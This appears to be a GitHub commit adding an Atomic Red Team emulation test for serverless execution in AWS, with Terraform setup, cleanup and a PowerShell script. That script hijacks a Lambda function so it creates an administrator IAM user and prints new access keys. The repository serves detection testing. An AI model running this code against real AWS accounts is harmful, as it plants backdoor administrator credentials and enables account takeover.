Skip to content

Commit

Permalink
feat: T1648-1 (#3038)
Browse files Browse the repository at this point in the history
Co-authored-by: Hare Sudhan <[email protected]>
Co-authored-by: Bhavin Patel <[email protected]>
  • Loading branch information
3 people authored Jan 28, 2025
1 parent 8248b65 commit fdd7704
Show file tree
Hide file tree
Showing 7 changed files with 333 additions and 0 deletions.
67 changes: 67 additions & 0 deletions atomics/T1648/T1648.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
attack_technique: T1648
display_name: 'Serverless Execution'
atomic_tests:
- name: Lambda Function Hijack
description: |
Modify an existing Lambda function to execute arbitrary code.
supported_platforms:
- iaas:aws
input_arguments:
access_key:
description: AWS Access Key
type: string
default: ""
secret_key:
description: AWS Secret Key
type: string
default: ""
session_token:
description: AWS Session Token
type: string
default: ""
profile:
description: AWS profile
type: string
default: ""
region:
description: AWS region to deploy the EC2 instance
type: string
default: us-east-2
dependency_executor_name: powershell
dependencies:
- description: |
The AWS PowerShell module must be installed.
prereq_command: |
try {if (Get-InstalledModule -Name AWSPowerShell -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: |
Install-Module -Name AWSPowerShell -Force
- description: |
Terraform must be installed.
prereq_command: |
terraform --version
get_prereq_command: |
Write-Host "Terraform is required. Download it from https://www.terraform.io/downloads.html"
executor:
command: |
Import-Module "PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1" -Force
$access_key = "#{access_key}"
$secret_key = "#{secret_key}"
$session_token = "#{session_token}"
$aws_profile = "#{profile}"
$region = "#{region}"
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region
Invoke-Terraform -TerraformCommand init -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1"
Invoke-Terraform -TerraformCommand apply -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1" -TerraformVariables @("profile=T1648-1", "region=$region")
Invoke-LambdaAttack -AWSProfile "T1648-1" -AWSRegion $region
cleanup_command: |
Import-Module "PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1" -Force
$access_key = "#{access_key}"
$secret_key = "#{secret_key}"
$session_token = "#{session_token}"
$aws_profile = "#{profile}"
$region = "#{region}"
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region
Invoke-Terraform -TerraformCommand destroy -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1" -TerraformVariables @("profile=T1648-1", "region=$region")
Remove-MaliciousUser -AWSProfile "T1648-1"
Remove-TFFiles -Path "PathToAtomicsFolder/T1648/src/T1648-1/"
name: powershell
167 changes: 167 additions & 0 deletions atomics/T1648/src/T1648-1/LambdaAttack.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,167 @@
Import-Module AWSPowerShell

function Set-AWSAuthentication {
param (
[string]$AccessKey,
[string]$SecretKey,
[string]$SessionToken,
[string]$AWSProfile,
[string]$AWSRegion
)
if ($SessionToken -eq "" -and $AWSProfile -eq "") {
Set-AWSCredential -AccessKey $AccessKey -SecretKey $SecretKey -StoreAs "T1648-1"
}
elseif ($SessionToken -ne "" -and $AWSProfile -ne "") {
Set-AWSCredential -AccessKey $AccessKey -SecretKey $SecretKey -SessionToken $SessionToken -StoreAs "T1648-1"
}
elseif ($AWSProfile -ne "") {
Set-AWSCredential -ProfileName $AWSProfile -StoreAs "T1648-1"
}

try {
Get-STSCallerIdentity -ProfileName "T1648-1" | Out-Null
}
catch {
Write-Host "ERROR: Failed to authenticate to AWS. Please check your credentials and try again."
exit 1
}
Set-DefaultAWSRegion -Region $AWSRegion
}

function Invoke-Terraform {
param (
[string]$TerraformCommand,
[string]$TerraformDirectory,
[string[]]$TerraformVariables
)

$currentPath = Resolve-Path .

if (-not (Test-Path $TerraformDirectory)) {
Write-Host "ERROR: Terraform directory not found. Please check the path and try again."
exit 1
}

if (-not (Get-ChildItem $TerraformDirectory -Filter "*.tf")) {
Write-Host "ERROR: No Terraform files found in the directory. Please check the path and try again."
exit 1
}

foreach($variable in $TerraformVariables) {
$varName = $variable.Split("=")[0]
$varValue = $variable.Split("=")[1]
[Environment]::SetEnvironmentVariable("TF_VAR_$varName", $varValue, "Process")
}

Set-Location $TerraformDirectory

if ($TerraformCommand -eq "init") {
try {
terraform init | Out-Null
}
catch {
Write-Host "ERROR: Failed to initialize Terraform. Please check the error message and try again."
exit 1
}
} elseif ($TerraformCommand -eq "apply") {
try {
terraform apply -auto-approve | Out-Null
}
catch {
Write-Host "ERROR: Failed to apply Terraform. Please check the error message and try again."
exit 1
}
} elseif ($TerraformCommand -eq "destroy") {
try {
terraform destroy -auto-approve | Out-Null
}
catch {
Write-Host "ERROR: Failed to destroy Terraform. Please check the error message and try again."
exit 1
}
} else {
Write-Host "ERROR: Invalid Terraform command. Please use 'init', 'apply', or 'destroy'."
exit 1
}

Set-Location $currentPath
}

function Invoke-LambdaAttack {
param (
[string]$AWSProfile,
[string]$AWSRegion
)

$maliciousContent = "import json`n"
$maliciousContent += "import boto3`n`n"
$maliciousContent += "def lambda_handler(event, context):`n"
$maliciousContent += " client = boto3.client('iam')`n"
$maliciousContent += " client.create_user(UserName='T1648-1')`n"
$maliciousContent += " response = client.create_access_key(UserName='T1648-1')`n"
$maliciousContent += " access_key = response['AccessKey']['AccessKeyId']`n"
$maliciousContent += " secret_key = response['AccessKey']['SecretAccessKey']`n"
$maliciousContent += " client.attach_user_policy(UserName='T1648-1', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')`n"
$maliciousContent += " return {`n"
$maliciousContent += " 'statusCode': 200,`n"
$maliciousContent += " 'body': json.dumps({'AccessKeyId': access_key, 'SecretAccessKey': secret_key})`n"
$maliciousContent += " }`n"

$zipPath = [System.IO.Path]::GetTempPath() + "LambdaAttack.zip"
$zipFile = [System.IO.Compression.ZipFile]::Open($zipPath, [System.IO.Compression.ZipArchiveMode]::Create)
$zipEntry = $zipFile.CreateEntry("lambda.py")
$zipStream = $zipEntry.Open()
$zipWriter = New-Object System.IO.StreamWriter($zipStream)
$zipWriter.Write($maliciousContent)
$zipWriter.Close()
$zipStream.Close()
$zipFile.Dispose()
$zipContent = [System.IO.File]::ReadAllBytes($zipPath)

$null = Update-LMFunctionCode -FunctionName "T1648-1" -ZipFile $zipContent -ProfileName $AWSProfile -Region $AWSRegion
Sleep 10 # Wait a bit for the Lambda function to update
$result = Invoke-LMFunction -FunctionName "T1648-1" -ProfileName $AWSProfile -Region $AWSRegion
$payload = [System.Text.Encoding]::UTF8.GetString($result.Payload.ToArray()) | ConvertFrom-JSON
$output = $payload | select Body
Remove-Item $zipPath
Write-Host "INFO: Lambda function code updated successfully."
$accessKeyId = ($output.body | ConvertFrom-JSON).AccessKeyId
$secretAccessKey = ($output.body | ConvertFrom-JSON).SecretAccessKey
Write-Host "INFO: New Access Key ID: $accessKeyId"
Write-Host "INFO: New Secret Access Key: $secretAccessKey"
}

function Remove-MaliciousUser {
param (
[string]$AWSProfile
)

try {
$null = Get-IAMUser -UserName "T1648-1" -ProfileName $AWSProfile
} catch {
return
}

$accessKeys = Get-IAMAccessKey -UserName "T1648-1" -ProfileName $AWSProfile
foreach ($accessKey in $accessKeys) {
$null = Remove-IAMAccessKey -AccessKeyId $accessKey.AccessKeyId -UserName "T1648-1" -ProfileName $AWSProfile -Force
}
Sleep 5 # Wait a bit for the access keys to be removed
$null = Unregister-IAMUserPolicy -UserName "T1648-1" -PolicyArn "arn:aws:iam::aws:policy/AdministratorAccess" -ProfileName $AWSProfile -Force
$null = Remove-IAMUser -UserName "T1648-1" -ProfileName $AWSProfile -Force
Write-Host "INFO: Malicious user 'T1648-1' removed successfully."
}

function Remove-TFFiles {
param (
[string]$Path
)

try {
Remove-Item "$Path/lambda_code.zip" -ErrorAction SilentlyContinue
Remove-Item "$Path/terraform.tfstate" -ErrorAction SilentlyContinue
Remove-Item "$Path/terraform.tfstate.backup" -ErrorAction SilentlyContinue
} catch {
return
}
}
19 changes: 19 additions & 0 deletions atomics/T1648/src/T1648-1/compute.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
data "archive_file" "lambda_code" {
type = "zip"
source_content = <<EOF
def lambda_handler(event, context):
return "This is a benign lambda function"
EOF
source_content_filename = "lambda.py"
output_path = "${path.module}/lambda_code.zip"
}

resource "aws_lambda_function" "lambda" {
filename = data.archive_file.lambda_code.output_path
function_name = "T1648-1"
role = aws_iam_role.lambda_role.arn
handler = "lambda.lambda_handler"
runtime = "python3.11"
source_code_hash = data.archive_file.lambda_code.output_base64sha256
timeout = 30
}
39 changes: 39 additions & 0 deletions atomics/T1648/src/T1648-1/iam.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
data "aws_iam_policy_document" "lambda_assume_role_policy" {
statement {
effect = "Allow"

principals {
type = "Service"
identifiers = ["lambda.amazonaws.com"]
}

actions = ["sts:AssumeRole"]
}
}

resource "aws_iam_role" "lambda_role" {
name = "LambdaRole"
assume_role_policy = data.aws_iam_policy_document.lambda_assume_role_policy.json
}

resource "aws_iam_policy" "lambda_policy" {
name = "TestLambdaPolicy"
description = "Test Policy for Lambda function"
policy = jsonencode({
Version = "2012-10-17",
Statement = [
{
Effect = "Allow",
Action = [
"*"
],
Resource = "*"
}
]
})
}

resource "aws_iam_role_policy_attachment" "lambda_policy_attachment" {
role = aws_iam_role.lambda_role.name
policy_arn = aws_iam_policy.lambda_policy.arn
}
23 changes: 23 additions & 0 deletions atomics/T1648/src/T1648-1/main.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
terraform {
required_providers {
aws = {
source = "hashicorp/aws"
version = "= 5.82.2"
}
}
}

provider "aws" {
profile = var.profile
region = var.region

default_tags {
tags = {
AtomicTest = "T1648-1"
}
}
}

locals {
cloud = length(regexall("-gov-", var.region)) > 0 ? "aws-us-gov" : length(regexall("-cn-", var.region)) > 0 ? "aws-cn" : "aws"
}
4 changes: 4 additions & 0 deletions atomics/T1648/src/T1648-1/storage.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
resource "aws_cloudwatch_log_group" "lambda_log_group" {
name = "/aws/lambda/T1648-1"
retention_in_days = 1
}
14 changes: 14 additions & 0 deletions atomics/T1648/src/T1648-1/variables.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
variable "profile" {
description = "The AWS profile to use"
default = "default"
}

variable "region" {
description = "The AWS region to deploy to"
default = "us-east-2"
}

variable "instance_type" {
description = "The instance type to use for the EC2 instance"
default = "t2.micro"
}

0 comments on commit fdd7704

Please sign in to comment.